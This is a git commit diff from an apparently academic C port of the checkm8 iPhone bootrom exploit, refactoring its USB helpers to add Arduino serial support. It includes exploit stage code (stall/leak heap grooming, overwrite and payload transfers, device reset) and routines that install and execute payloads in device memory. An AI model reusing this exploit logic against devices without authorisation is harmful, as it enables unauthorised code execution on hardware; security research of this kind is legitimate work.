Began refactoring remote to include arduino support
This commit is contained in:
@@ -4,7 +4,7 @@ set(CMAKE_C_STANDARD 99)
|
||||
set(CMAKE_C_FLAGS -g)
|
||||
|
||||
include_directories(include)
|
||||
add_executable(checkm8_remote main.c src/libusb_helpers.c src/exploit.c src/payload.c src/command.c)
|
||||
add_executable(checkm8_remote main.c src/usb_helpers.c src/exploit.c src/payload.c src/command.c)
|
||||
add_custom_command(TARGET checkm8_remote POST_BUILD
|
||||
COMMAND ln
|
||||
ARGS -s -f -n
|
||||
|
||||
@@ -1 +1 @@
|
||||
/home/grg/Projects/School/NCSU/iphone_aes_sc/checkm8_tool/checkm8_payloads/bin
|
||||
/home/grg/Projects/School/NCSU/iphone_aes_sc/checkm8_tool/checkm8_remote/checkm8_payloads/bin
|
||||
@@ -34,8 +34,13 @@ struct pwned_device
|
||||
unsigned int idVendor;
|
||||
unsigned int idProduct;
|
||||
|
||||
struct libusb_device_bundle *bundle;
|
||||
struct payload *installed;
|
||||
|
||||
#ifdef WITH_ARDUINO
|
||||
int ard_fd;
|
||||
#else
|
||||
struct libusb_device_bundle *bundle;
|
||||
#endif
|
||||
};
|
||||
|
||||
struct pwned_device *exploit_device();
|
||||
|
||||
@@ -1,40 +0,0 @@
|
||||
#ifndef IPWNDFU_REWRITE_C_LIBUSB_HELPERS_H
|
||||
#define IPWNDFU_REWRITE_C_LIBUSB_HELPERS_H
|
||||
|
||||
#include "checkm8.h"
|
||||
|
||||
#define LIBUSB_MAX_PACKET_SIZE 0x800
|
||||
|
||||
struct libusb_device_bundle
|
||||
{
|
||||
struct libusb_context *ctx;
|
||||
struct libusb_device *device;
|
||||
struct libusb_device_handle *handle;
|
||||
struct libusb_device_descriptor *descriptor;
|
||||
};
|
||||
|
||||
int get_device_bundle(struct pwned_device *dev);
|
||||
int release_device_bundle(struct pwned_device *dev);
|
||||
int is_device_bundle_open(struct pwned_device *dev);
|
||||
|
||||
int libusb1_async_ctrl_transfer(struct pwned_device *dev,
|
||||
unsigned char bmRequestType, unsigned char bRequest,
|
||||
unsigned short wValue, unsigned short wIndex,
|
||||
unsigned char *data, unsigned short data_len,
|
||||
unsigned int timeout);
|
||||
|
||||
int libusb1_no_error_ctrl_transfer(struct pwned_device *dev,
|
||||
unsigned char bmRequestType, unsigned char bRequest,
|
||||
unsigned short wValue, unsigned short wIndex,
|
||||
unsigned char *data, unsigned short data_len,
|
||||
unsigned int timeout);
|
||||
|
||||
int stall(struct pwned_device *dev);
|
||||
int leak(struct pwned_device *dev);
|
||||
int no_leak(struct pwned_device *dev);
|
||||
|
||||
int usb_req_stall(struct pwned_device *dev);
|
||||
int usb_req_leak(struct pwned_device *dev);
|
||||
int usb_req_no_leak(struct pwned_device *dev);
|
||||
|
||||
#endif //IPWNDFU_REWRITE_C_LIBUSB_HELPERS_H
|
||||
49
checkm8_remote/include/usb_helpers.h
Normal file
49
checkm8_remote/include/usb_helpers.h
Normal file
@@ -0,0 +1,49 @@
|
||||
#ifndef IPWNDFU_REWRITE_C_LIBUSB_HELPERS_H
|
||||
#define IPWNDFU_REWRITE_C_LIBUSB_HELPERS_H
|
||||
|
||||
#include "checkm8.h"
|
||||
#define LIBUSB_MAX_PACKET_SIZE 0x800
|
||||
|
||||
#ifndef WITH_ARDUINO
|
||||
#include "libusb.h"
|
||||
|
||||
struct libusb_device_bundle
|
||||
{
|
||||
struct libusb_context *ctx;
|
||||
struct libusb_device *device;
|
||||
struct libusb_device_handle *handle;
|
||||
struct libusb_device_descriptor *descriptor;
|
||||
};
|
||||
#endif
|
||||
|
||||
int open_device_session(struct pwned_device *dev);
|
||||
int close_device_session(struct pwned_device *dev);
|
||||
int is_device_session_open(struct pwned_device *dev);
|
||||
|
||||
int partial_ctrl_transfer(struct pwned_device *dev,
|
||||
unsigned char bmRequestType, unsigned char bRequest,
|
||||
unsigned short wValue, unsigned short wIndex,
|
||||
unsigned char *data, unsigned short data_len,
|
||||
unsigned int timeout);
|
||||
|
||||
int no_error_ctrl_transfer(struct pwned_device *dev,
|
||||
unsigned char bmRequestType, unsigned char bRequest,
|
||||
unsigned short wValue, unsigned short wIndex,
|
||||
unsigned char *data, unsigned short data_len,
|
||||
unsigned int timeout);
|
||||
|
||||
int ctrl_transfer(struct pwned_device *dev,
|
||||
unsigned char bmRequestType, unsigned char bRequest,
|
||||
unsigned short wValue, unsigned short wIndex,
|
||||
unsigned char *data, unsigned short data_len,
|
||||
unsigned int timeout);
|
||||
|
||||
int stall(struct pwned_device *dev);
|
||||
int leak(struct pwned_device *dev);
|
||||
int no_leak(struct pwned_device *dev);
|
||||
|
||||
int usb_req_stall(struct pwned_device *dev);
|
||||
int usb_req_leak(struct pwned_device *dev);
|
||||
int usb_req_no_leak(struct pwned_device *dev);
|
||||
|
||||
#endif //IPWNDFU_REWRITE_C_LIBUSB_HELPERS_H
|
||||
@@ -4,7 +4,7 @@
|
||||
#include <stdio.h>
|
||||
#include <stdarg.h>
|
||||
#include <execinfo.h>
|
||||
#include <libusb_helpers.h>
|
||||
#include <usb_helpers.h>
|
||||
#include "command.h"
|
||||
|
||||
void checkm8_debug_indent(const char *format, ...)
|
||||
@@ -40,61 +40,64 @@ int main()
|
||||
{
|
||||
int ret;
|
||||
struct pwned_device *dev = exploit_device();
|
||||
if(dev == NULL || dev->status == DEV_NORMAL)
|
||||
{
|
||||
printf("Failed to exploit device\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
struct dev_cmd_resp *resp;
|
||||
ret = install_payload(dev, PAYLOAD_SYNC, DRAM);
|
||||
if(IS_CHECKM8_FAIL(ret))
|
||||
{
|
||||
printf("Failed to install sync payload\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
ret = install_payload(dev, PAYLOAD_AES, DRAM);
|
||||
if(IS_CHECKM8_FAIL(ret))
|
||||
{
|
||||
printf("Failed to install AES payload\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
resp = execute_payload(dev, PAYLOAD_SYNC, 0);
|
||||
if(IS_CHECKM8_FAIL(resp->ret))
|
||||
{
|
||||
printf("Failed to execute sync payload\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
unsigned char data[16] = {0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, 0xbe,
|
||||
0xef};
|
||||
unsigned char key[16] = {0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, 0xbe,
|
||||
0xef};
|
||||
|
||||
free_dev_cmd_resp(resp);
|
||||
resp = write_payload(dev, 0x180152000, data, 16);
|
||||
if(IS_CHECKM8_FAIL(resp->ret))
|
||||
{
|
||||
printf("Failed to write AES data\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
free_dev_cmd_resp(resp);
|
||||
resp = write_payload(dev, 0x180152010, key, 16);
|
||||
if(IS_CHECKM8_FAIL(resp->ret))
|
||||
{
|
||||
printf("Failed to write AES key\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
free_dev_cmd_resp(resp);
|
||||
resp = execute_payload(dev, PAYLOAD_AES, 7, 16, 0x180152000, DFU_IMAGE_BASE + 56, 128, 0, 0x180152010, 0);
|
||||
|
||||
if(IS_CHECKM8_FAIL(resp->ret))
|
||||
{
|
||||
printf("Failed to execute AES\n");
|
||||
return -1;
|
||||
}
|
||||
// if(dev == NULL || dev->status == DEV_NORMAL)
|
||||
// {
|
||||
// printf("Failed to exploit device\n");
|
||||
// return -1;
|
||||
// }
|
||||
//
|
||||
// struct dev_cmd_resp *resp;
|
||||
// ret = install_payload(dev, PAYLOAD_SYNC, DRAM);
|
||||
// if(IS_CHECKM8_FAIL(ret))
|
||||
// {
|
||||
// printf("Failed to install sync payload\n");
|
||||
// return -1;
|
||||
// }
|
||||
//
|
||||
// ret = install_payload(dev, PAYLOAD_AES, DRAM);
|
||||
// if(IS_CHECKM8_FAIL(ret))
|
||||
// {
|
||||
// printf("Failed to install AES payload\n");
|
||||
// return -1;
|
||||
// }
|
||||
//
|
||||
// resp = execute_payload(dev, PAYLOAD_SYNC, 0);
|
||||
// if(IS_CHECKM8_FAIL(resp->ret))
|
||||
// {
|
||||
// printf("Failed to execute sync payload\n");
|
||||
// return -1;
|
||||
// }
|
||||
//
|
||||
// unsigned char data[16] = {0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, 0xbe,
|
||||
// 0xef};
|
||||
// unsigned char key[16] = {0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, 0xbe,
|
||||
// 0xef};
|
||||
//
|
||||
// free_dev_cmd_resp(resp);
|
||||
// resp = write_payload(dev, 0x180152000, data, 16);
|
||||
// if(IS_CHECKM8_FAIL(resp->ret))
|
||||
// {
|
||||
// printf("Failed to write AES data\n");
|
||||
// return -1;
|
||||
// }
|
||||
//
|
||||
// free_dev_cmd_resp(resp);
|
||||
// resp = write_payload(dev, 0x180152010, key, 16);
|
||||
// if(IS_CHECKM8_FAIL(resp->ret))
|
||||
// {
|
||||
// printf("Failed to write AES key\n");
|
||||
// return -1;
|
||||
// }
|
||||
//
|
||||
// free_dev_cmd_resp(resp);
|
||||
// resp = execute_payload(dev, PAYLOAD_AES, 7, 16, 0x180152000, DFU_IMAGE_BASE + 56, 128, 0, 0x180152010, 0);
|
||||
//
|
||||
// if(IS_CHECKM8_FAIL(resp->ret))
|
||||
// {
|
||||
// printf("Failed to execute AES\n");
|
||||
// return -1;
|
||||
// }
|
||||
//
|
||||
// free_dev_cmd_resp(resp);
|
||||
// free_device(dev);
|
||||
}
|
||||
|
||||
@@ -1,8 +1,7 @@
|
||||
#include "command.h"
|
||||
|
||||
#include "checkm8.h"
|
||||
#include "libusb_helpers.h"
|
||||
#include "libusb.h"
|
||||
#include "usb_helpers.h"
|
||||
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
@@ -25,7 +24,8 @@ int dfu_send_data(struct pwned_device *dev, unsigned char *data, long data_len)
|
||||
else amount = data_len - index;
|
||||
|
||||
checkm8_debug_indent("\tsending chunk of size %li at index %li\n", amount, index);
|
||||
ret = libusb_control_transfer(dev->bundle->handle, 0x21, 1, 0, 0, &data[index], amount, 5000);
|
||||
|
||||
ret = ctrl_transfer(dev, 0x21, 1, 0, 0, &data[index], amount, 5000);
|
||||
if(ret > 0) checkm8_debug_indent("\ttransferred %i bytes\n", ret);
|
||||
else
|
||||
{
|
||||
@@ -47,7 +47,7 @@ struct dev_cmd_resp *command(struct pwned_device *dev,
|
||||
struct dev_cmd_resp *cmd_resp = calloc(1, sizeof(struct dev_cmd_resp));
|
||||
unsigned char resp_buf[response_len];
|
||||
|
||||
if(!is_device_bundle_open(dev))
|
||||
if(!is_device_session_open(dev))
|
||||
{
|
||||
cmd_resp->ret = CHECKM8_FAIL_NODEV;
|
||||
return cmd_resp;
|
||||
@@ -61,7 +61,7 @@ struct dev_cmd_resp *command(struct pwned_device *dev,
|
||||
return cmd_resp;
|
||||
}
|
||||
|
||||
ret = libusb_control_transfer(dev->bundle->handle, 0x21, 1, 0, 0, nullbuf, 0, 100);
|
||||
ret = ctrl_transfer(dev, 0x21, 1, 0, 0, nullbuf, 0, 100);
|
||||
if(ret >= 0) checkm8_debug_indent("\ttransferred %i bytes\n", ret);
|
||||
else
|
||||
{
|
||||
@@ -70,7 +70,7 @@ struct dev_cmd_resp *command(struct pwned_device *dev,
|
||||
return cmd_resp;
|
||||
}
|
||||
|
||||
ret = libusb_control_transfer(dev->bundle->handle, 0xA1, 3, 0, 0, nullbuf, 6, 100);
|
||||
ret = ctrl_transfer(dev, 0xA1, 3, 0, 0, nullbuf, 6, 100);
|
||||
if(ret >= 0) checkm8_debug_indent("\ttransferred %i bytes\n", ret);
|
||||
else
|
||||
{
|
||||
@@ -79,7 +79,7 @@ struct dev_cmd_resp *command(struct pwned_device *dev,
|
||||
return cmd_resp;
|
||||
}
|
||||
|
||||
ret = libusb_control_transfer(dev->bundle->handle, 0xA1, 3, 0, 0, nullbuf, 6, 100);
|
||||
ret = ctrl_transfer(dev, 0xA1, 3, 0, 0, nullbuf, 6, 100);
|
||||
if(ret >= 0) checkm8_debug_indent("\ttransferred %i bytes\n", ret);
|
||||
else
|
||||
{
|
||||
@@ -97,10 +97,10 @@ struct dev_cmd_resp *command(struct pwned_device *dev,
|
||||
|
||||
if(response_len == 0)
|
||||
{
|
||||
ret = libusb_control_transfer(dev->bundle->handle,
|
||||
0xA1, 2, 0xFFFF, 0,
|
||||
resp_buf, response_len + 1,
|
||||
100);
|
||||
ret = ctrl_transfer(dev,
|
||||
0xA1, 2, 0xFFFF, 0,
|
||||
resp_buf, response_len + 1,
|
||||
100);
|
||||
if(ret >= 0) checkm8_debug_indent("\tfinal request transferred %i bytes\n", ret);
|
||||
else
|
||||
{
|
||||
@@ -111,10 +111,10 @@ struct dev_cmd_resp *command(struct pwned_device *dev,
|
||||
}
|
||||
else
|
||||
{
|
||||
ret = libusb_control_transfer(dev->bundle->handle,
|
||||
0xA1, 2, 0xFFFF, 0,
|
||||
resp_buf, response_len,
|
||||
100);
|
||||
ret = ctrl_transfer(dev,
|
||||
0xA1, 2, 0xFFFF, 0,
|
||||
resp_buf, response_len,
|
||||
100);
|
||||
if(ret >= 0) checkm8_debug_indent("\tfinal request transferred %i bytes\n", ret);
|
||||
else
|
||||
{
|
||||
@@ -170,7 +170,8 @@ struct dev_cmd_resp *dev_memcpy(struct pwned_device *dev, long long dest, long l
|
||||
|
||||
struct dev_cmd_resp *dev_exec(struct pwned_device *dev, int response_len, int nargs, unsigned long long *args)
|
||||
{
|
||||
checkm8_debug_indent("dev_exec(dev = %p, response_len = %lu, nargs = %i, args = %p\n", dev, response_len, nargs, args);
|
||||
checkm8_debug_indent("dev_exec(dev = %p, response_len = %lu, nargs = %i, args = %p\n", dev, response_len, nargs,
|
||||
args);
|
||||
|
||||
int i;
|
||||
unsigned long long *argbase;
|
||||
|
||||
@@ -1,12 +1,12 @@
|
||||
#include "checkm8.h"
|
||||
#include <stdlib.h>
|
||||
|
||||
#include "usb_helpers.h"
|
||||
#ifndef WITH_ARDUINO
|
||||
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
#include "libusb_helpers.h"
|
||||
#include "libusb.h"
|
||||
|
||||
typedef int(stage_function)(struct pwned_device *dev);
|
||||
|
||||
@@ -15,7 +15,7 @@ int complete_stage(struct pwned_device *device, stage_function *func)
|
||||
checkm8_debug_indent("complete_stage(dev = %p, func = %p)\n", device, func);
|
||||
int ret;
|
||||
|
||||
ret = get_device_bundle(device);
|
||||
ret = open_device_session(device);
|
||||
if(ret == LIBUSB_ERROR_NO_DEVICE || ret == LIBUSB_ERROR_ACCESS)
|
||||
{
|
||||
checkm8_debug_indent("\tfailed to get device bundle\n");
|
||||
@@ -26,7 +26,7 @@ int complete_stage(struct pwned_device *device, stage_function *func)
|
||||
ret = func(device);
|
||||
|
||||
checkm8_debug_indent("\treleasing device bundle\n");
|
||||
release_device_bundle(device);
|
||||
close_device_session(device);
|
||||
|
||||
return ret;
|
||||
}
|
||||
@@ -55,8 +55,8 @@ int stage2_function(struct pwned_device *dev)
|
||||
unsigned char databuf[0x800];
|
||||
memset(databuf, 'A', 0x800);
|
||||
|
||||
libusb1_async_ctrl_transfer(dev, 0x21, 1, 0, 0, databuf, 0x800, 1);
|
||||
libusb1_no_error_ctrl_transfer(dev, 0x21, 4, 0, 0, NULL, 0, 0);
|
||||
partial_ctrl_transfer(dev, 0x21, 1, 0, 0, databuf, 0x800, 1);
|
||||
no_error_ctrl_transfer(dev, 0x21, 4, 0, 0, NULL, 0, 0);
|
||||
|
||||
checkm8_debug_indent("\treset\n");
|
||||
libusb_reset_device(dev->bundle->handle);
|
||||
@@ -80,11 +80,11 @@ int stage3_function(struct pwned_device *dev)
|
||||
usb_req_leak(dev);
|
||||
|
||||
checkm8_debug_indent("\ttransferring overwrite\n");
|
||||
libusb1_no_error_ctrl_transfer(dev, 0, 0, 0, 0, overwrite_buf, 1524, 100);
|
||||
no_error_ctrl_transfer(dev, 0, 0, 0, 0, overwrite_buf, 1524, 100);
|
||||
|
||||
checkm8_debug_indent("\ttransferring payload\n");
|
||||
libusb1_no_error_ctrl_transfer(dev, 0x21, 1, 0, 0, payload_buf, 2048, 100);
|
||||
libusb1_no_error_ctrl_transfer(dev, 0x21, 1, 0, 0, &payload_buf[2048], 352, 100);
|
||||
no_error_ctrl_transfer(dev, 0x21, 1, 0, 0, payload_buf, 2048, 100);
|
||||
no_error_ctrl_transfer(dev, 0x21, 1, 0, 0, &payload_buf[2048], 352, 100);
|
||||
|
||||
checkm8_debug_indent("reset\n");
|
||||
libusb_reset_device(dev->bundle->handle);
|
||||
@@ -112,16 +112,22 @@ int check_function(struct pwned_device *dev)
|
||||
|
||||
return CHECKM8_SUCCESS;
|
||||
}
|
||||
#endif
|
||||
|
||||
struct pwned_device *exploit_device()
|
||||
{
|
||||
struct pwned_device *res = calloc(1, sizeof(struct pwned_device));
|
||||
checkm8_debug_indent("exploit_device() -> dev = %p\n", res);
|
||||
res->status = DEV_NORMAL;
|
||||
res->bundle = calloc(1, sizeof(struct libusb_device_bundle));
|
||||
res->idVendor = DEV_IDVENDOR;
|
||||
res->idProduct = DEV_IDPRODUCT;
|
||||
|
||||
checkm8_debug_indent("exploit_device() -> dev = %p\n", res);
|
||||
int ret = open_device_session(res);
|
||||
|
||||
#ifdef WITH_ARDUINO
|
||||
|
||||
#else
|
||||
res->bundle = calloc(1, sizeof(struct libusb_device_bundle));
|
||||
|
||||
int ret = complete_stage(res, check_function);
|
||||
if(ret == CHECKM8_SUCCESS)
|
||||
@@ -162,12 +168,20 @@ struct pwned_device *exploit_device()
|
||||
res->status = DEV_PWNED;
|
||||
return res;
|
||||
}
|
||||
else return NULL;
|
||||
else
|
||||
{
|
||||
free(res);
|
||||
return NULL;
|
||||
}
|
||||
}
|
||||
#endif
|
||||
}
|
||||
|
||||
void free_device(struct pwned_device *dev)
|
||||
{
|
||||
release_device_bundle(dev);
|
||||
#ifndef WITH_ARDUINO
|
||||
close_device_session(dev);
|
||||
#endif
|
||||
|
||||
free(dev);
|
||||
}
|
||||
@@ -5,7 +5,7 @@
|
||||
#include <stdarg.h>
|
||||
|
||||
#include "command.h"
|
||||
#include "libusb_helpers.h"
|
||||
#include "usb_helpers.h"
|
||||
|
||||
|
||||
struct payload
|
||||
@@ -138,14 +138,14 @@ int install_payload(struct pwned_device *dev, PAYLOAD_T p, LOCATION_T loc)
|
||||
|
||||
if(pl == NULL || addr == -1) return CHECKM8_FAIL_INVARGS;
|
||||
|
||||
ret = get_device_bundle(dev);
|
||||
ret = open_device_session(dev);
|
||||
if(IS_CHECKM8_FAIL(ret)) return ret;
|
||||
|
||||
resp = dev_write_memory(dev, addr, pl->data, pl->len);
|
||||
if(IS_CHECKM8_FAIL(resp->ret))
|
||||
{
|
||||
free_dev_cmd_resp(resp);
|
||||
release_device_bundle(dev);
|
||||
close_device_session(dev);
|
||||
return CHECKM8_FAIL_XFER;
|
||||
}
|
||||
|
||||
@@ -154,7 +154,7 @@ int install_payload(struct pwned_device *dev, PAYLOAD_T p, LOCATION_T loc)
|
||||
dev_link_payload(dev, pl);
|
||||
|
||||
free_dev_cmd_resp(resp);
|
||||
release_device_bundle(dev);
|
||||
close_device_session(dev);
|
||||
return ret;
|
||||
}
|
||||
|
||||
@@ -178,7 +178,7 @@ struct dev_cmd_resp *execute_payload(struct pwned_device *dev, PAYLOAD_T p, int
|
||||
return resp;
|
||||
}
|
||||
|
||||
ret = get_device_bundle(dev);
|
||||
ret = open_device_session(dev);
|
||||
if(IS_CHECKM8_FAIL(ret))
|
||||
{
|
||||
resp = calloc(1, sizeof(struct dev_cmd_resp));
|
||||
@@ -200,7 +200,7 @@ struct dev_cmd_resp *execute_payload(struct pwned_device *dev, PAYLOAD_T p, int
|
||||
va_end(arg_list);
|
||||
|
||||
resp = dev_exec(dev, 16, nargs + 1, args);
|
||||
release_device_bundle(dev);
|
||||
close_device_session(dev);
|
||||
return resp;
|
||||
}
|
||||
|
||||
@@ -210,7 +210,7 @@ struct dev_cmd_resp *read_payload(struct pwned_device *dev, long long addr, int
|
||||
int ret;
|
||||
struct dev_cmd_resp *resp;
|
||||
|
||||
ret = get_device_bundle(dev);
|
||||
ret = open_device_session(dev);
|
||||
if(IS_CHECKM8_FAIL(ret))
|
||||
{
|
||||
checkm8_debug_indent("\tfailed to get device bundle\n");
|
||||
@@ -220,7 +220,7 @@ struct dev_cmd_resp *read_payload(struct pwned_device *dev, long long addr, int
|
||||
}
|
||||
|
||||
resp = dev_read_memory(dev, addr, len);
|
||||
release_device_bundle(dev);
|
||||
close_device_session(dev);
|
||||
return resp;
|
||||
}
|
||||
|
||||
@@ -230,7 +230,7 @@ struct dev_cmd_resp *write_payload(struct pwned_device *dev, long long addr, uns
|
||||
int ret;
|
||||
struct dev_cmd_resp *resp;
|
||||
|
||||
ret = get_device_bundle(dev);
|
||||
ret = open_device_session(dev);
|
||||
if(IS_CHECKM8_FAIL(ret))
|
||||
{
|
||||
checkm8_debug_indent("\tfailed to get device bundle\n");
|
||||
@@ -240,6 +240,6 @@ struct dev_cmd_resp *write_payload(struct pwned_device *dev, long long addr, uns
|
||||
}
|
||||
|
||||
resp = dev_write_memory(dev, addr, data, len);
|
||||
release_device_bundle(dev);
|
||||
close_device_session(dev);
|
||||
return resp;
|
||||
}
|
||||
|
||||
@@ -1,17 +1,60 @@
|
||||
#include "libusb_helpers.h"
|
||||
#include "checkm8.h"
|
||||
#include "usb_helpers.h"
|
||||
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
#include <termio.h>
|
||||
#include <fcntl.h>
|
||||
|
||||
#include "libusbi.h"
|
||||
|
||||
int get_device_bundle(struct pwned_device *dev)
|
||||
int open_device_session(struct pwned_device *dev)
|
||||
{
|
||||
checkm8_debug_indent("get_device_bundle(dev = %p)\n", dev);
|
||||
checkm8_debug_indent("open_device_session(dev = %p)\n", dev);
|
||||
|
||||
int i, usb_dev_count, ret = LIBUSB_ERROR_NO_DEVICE;
|
||||
#ifdef WITH_ARDUINO
|
||||
// based on https://github.com/todbot/arduino-serial/blob/master/arduino-serial-lib.c
|
||||
struct termios toptions;
|
||||
int ard = open(ARDUINO_DEV, O_RDWR | O_NONBLOCK);
|
||||
if(ard == -1)
|
||||
{
|
||||
checkm8_debug_indent("\tfailed to open arduino device %s\n", ARDUINO_DEV);
|
||||
return CHECKM8_FAIL_NODEV;
|
||||
}
|
||||
|
||||
if(tcgetattr(ard, &toptions) < 0)
|
||||
{
|
||||
checkm8_debug_indent("\tfailed to get arduino terminal attributes\n");
|
||||
return CHECKM8_FAIL_NODEV;
|
||||
}
|
||||
|
||||
cfsetispeed(&toptions, ARDUINO_BAUD);
|
||||
cfsetospeed(&toptions, ARDUINO_BAUD);
|
||||
|
||||
toptions.c_cflag &= ~PARENB;
|
||||
toptions.c_cflag &= ~CSTOPB;
|
||||
toptions.c_cflag &= ~CSIZE;
|
||||
toptions.c_cflag |= CS8;
|
||||
toptions.c_cflag &= ~CRTSCTS;
|
||||
|
||||
toptions.c_cflag |= CREAD | CLOCAL;
|
||||
toptions.c_iflag &= ~(IXON | IXOFF | IXANY);
|
||||
toptions.c_lflag &= ~(ICANON | ECHO | ECHOE | ISIG);
|
||||
toptions.c_oflag &= ~OPOST;
|
||||
|
||||
toptions.c_cc[VMIN] = 0;
|
||||
toptions.c_cc[VTIME] = 0;
|
||||
|
||||
tcsetattr(ard, TCSANOW, &toptions);
|
||||
if(tcsetattr(ard, TCSAFLUSH, &toptions) < 0)
|
||||
{
|
||||
checkm8_debug_indent("\tfailed to set terminal attributes");
|
||||
return CHECKM8_FAIL_NODEV;
|
||||
}
|
||||
|
||||
return CHECKM8_SUCCESS;
|
||||
#else
|
||||
int i, usb_dev_count, ret = CHECKM8_FAIL_NODEV;
|
||||
libusb_device **usb_device_list = NULL;
|
||||
|
||||
if(dev->bundle->ctx == NULL)
|
||||
@@ -27,7 +70,7 @@ int get_device_bundle(struct pwned_device *dev)
|
||||
dev->bundle->descriptor->idProduct == dev->idProduct)
|
||||
{
|
||||
checkm8_debug_indent("\tbundle is already valid\n");
|
||||
return LIBUSB_SUCCESS;
|
||||
return CHECKM8_SUCCESS;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -47,7 +90,7 @@ int get_device_bundle(struct pwned_device *dev)
|
||||
dev->bundle->descriptor->idProduct == dev->idProduct)
|
||||
{
|
||||
checkm8_debug_indent("\tchecking device %i ... match!\n", i);
|
||||
ret = LIBUSB_SUCCESS;
|
||||
ret = CHECKM8_SUCCESS;
|
||||
break;
|
||||
}
|
||||
|
||||
@@ -55,7 +98,7 @@ int get_device_bundle(struct pwned_device *dev)
|
||||
}
|
||||
|
||||
libusb_free_device_list(usb_device_list, usb_dev_count);
|
||||
if(ret == LIBUSB_SUCCESS)
|
||||
if(ret == CHECKM8_SUCCESS)
|
||||
{
|
||||
checkm8_debug_indent("\topening device and returning success\n");
|
||||
ret = libusb_open(dev->bundle->device, &dev->bundle->handle);
|
||||
@@ -85,11 +128,16 @@ int get_device_bundle(struct pwned_device *dev)
|
||||
}
|
||||
|
||||
return ret;
|
||||
#endif
|
||||
}
|
||||
|
||||
int release_device_bundle(struct pwned_device *dev)
|
||||
int close_device_session(struct pwned_device *dev)
|
||||
{
|
||||
checkm8_debug_indent("release_device_bundle(dev = %p)\n", dev);
|
||||
checkm8_debug_indent("close_device_session(dev = %p)\n", dev);
|
||||
|
||||
#ifdef WITH_ARDUINO
|
||||
|
||||
#else
|
||||
if(dev->bundle->handle != NULL)
|
||||
{
|
||||
checkm8_debug_indent("\tclosing handle\n");
|
||||
@@ -112,16 +160,22 @@ int release_device_bundle(struct pwned_device *dev)
|
||||
free(dev->bundle->descriptor);
|
||||
dev->bundle->descriptor = NULL;
|
||||
}
|
||||
#endif
|
||||
|
||||
return LIBUSB_SUCCESS;
|
||||
return CHECKM8_SUCCESS;
|
||||
}
|
||||
|
||||
int is_device_bundle_open(struct pwned_device *dev)
|
||||
int is_device_session_open(struct pwned_device *dev)
|
||||
{
|
||||
#ifdef WITH_ARDUINO
|
||||
|
||||
#else
|
||||
return dev->bundle->ctx != NULL && dev->bundle->device != NULL &&
|
||||
dev->bundle->handle != NULL && dev->bundle->descriptor != NULL;
|
||||
#endif
|
||||
}
|
||||
|
||||
#ifndef WITH_ARDUINO
|
||||
void LIBUSB_CALL async_ctrl_transfer_cb(struct libusb_transfer *transfer)
|
||||
{
|
||||
checkm8_debug_indent("transfer status: %s (%i / %i)\n",
|
||||
@@ -129,16 +183,21 @@ void LIBUSB_CALL async_ctrl_transfer_cb(struct libusb_transfer *transfer)
|
||||
transfer->actual_length,
|
||||
transfer->length);
|
||||
}
|
||||
#endif
|
||||
|
||||
int libusb1_async_ctrl_transfer(struct pwned_device *dev,
|
||||
unsigned char bmRequestType, unsigned char bRequest,
|
||||
unsigned short wValue, unsigned short wIndex,
|
||||
unsigned char *data, unsigned short data_len,
|
||||
unsigned int timeout)
|
||||
int partial_ctrl_transfer(struct pwned_device *dev,
|
||||
unsigned char bmRequestType, unsigned char bRequest,
|
||||
unsigned short wValue, unsigned short wIndex,
|
||||
unsigned char *data, unsigned short data_len,
|
||||
unsigned int timeout)
|
||||
{
|
||||
checkm8_debug_indent(
|
||||
"async_ctrl_transfer(dev = %p, bmRequestType = %i, bRequest = %i, wValue = %i, wIndex = %i, data = %p, data_len = %i, timeout = %i)\n",
|
||||
"partial_ctrl_transfer(dev = %p, bmRequestType = %i, bRequest = %i, wValue = %i, wIndex = %i, data = %p, data_len = %i, timeout = %i)\n",
|
||||
dev, bmRequestType, bRequest, wValue, wIndex, data, data_len, timeout);
|
||||
|
||||
#ifdef WITH_ARDUINO
|
||||
|
||||
#else
|
||||
struct timeval start, end;
|
||||
unsigned char usb_transfer_buf[8 + data_len];
|
||||
int ret;
|
||||
@@ -174,17 +233,22 @@ int libusb1_async_ctrl_transfer(struct pwned_device *dev,
|
||||
return CHECKM8_SUCCESS;
|
||||
}
|
||||
}
|
||||
#endif
|
||||
}
|
||||
|
||||
int libusb1_no_error_ctrl_transfer(struct pwned_device *dev,
|
||||
unsigned char bmRequestType, unsigned char bRequest,
|
||||
unsigned short wValue, unsigned short wIndex,
|
||||
unsigned char *data, unsigned short data_len,
|
||||
unsigned int timeout)
|
||||
int no_error_ctrl_transfer(struct pwned_device *dev,
|
||||
unsigned char bmRequestType, unsigned char bRequest,
|
||||
unsigned short wValue, unsigned short wIndex,
|
||||
unsigned char *data, unsigned short data_len,
|
||||
unsigned int timeout)
|
||||
{
|
||||
checkm8_debug_indent(
|
||||
"no_error_ctrl_transfer(dev = %p, bmRequestType = %i, bRequest = %i, wValue = %i, wIndex = %i, data = %p, data_len = %i, timeout = %i)\n",
|
||||
dev, bmRequestType, bRequest, wValue, wIndex, data, data_len, timeout);
|
||||
|
||||
#ifdef WITH_ARDUINO
|
||||
|
||||
#else
|
||||
int ret;
|
||||
unsigned char recipient = bmRequestType & 3u;
|
||||
unsigned char rqtype = bmRequestType & (3u << 5u);
|
||||
@@ -203,6 +267,24 @@ int libusb1_no_error_ctrl_transfer(struct pwned_device *dev,
|
||||
timeout);
|
||||
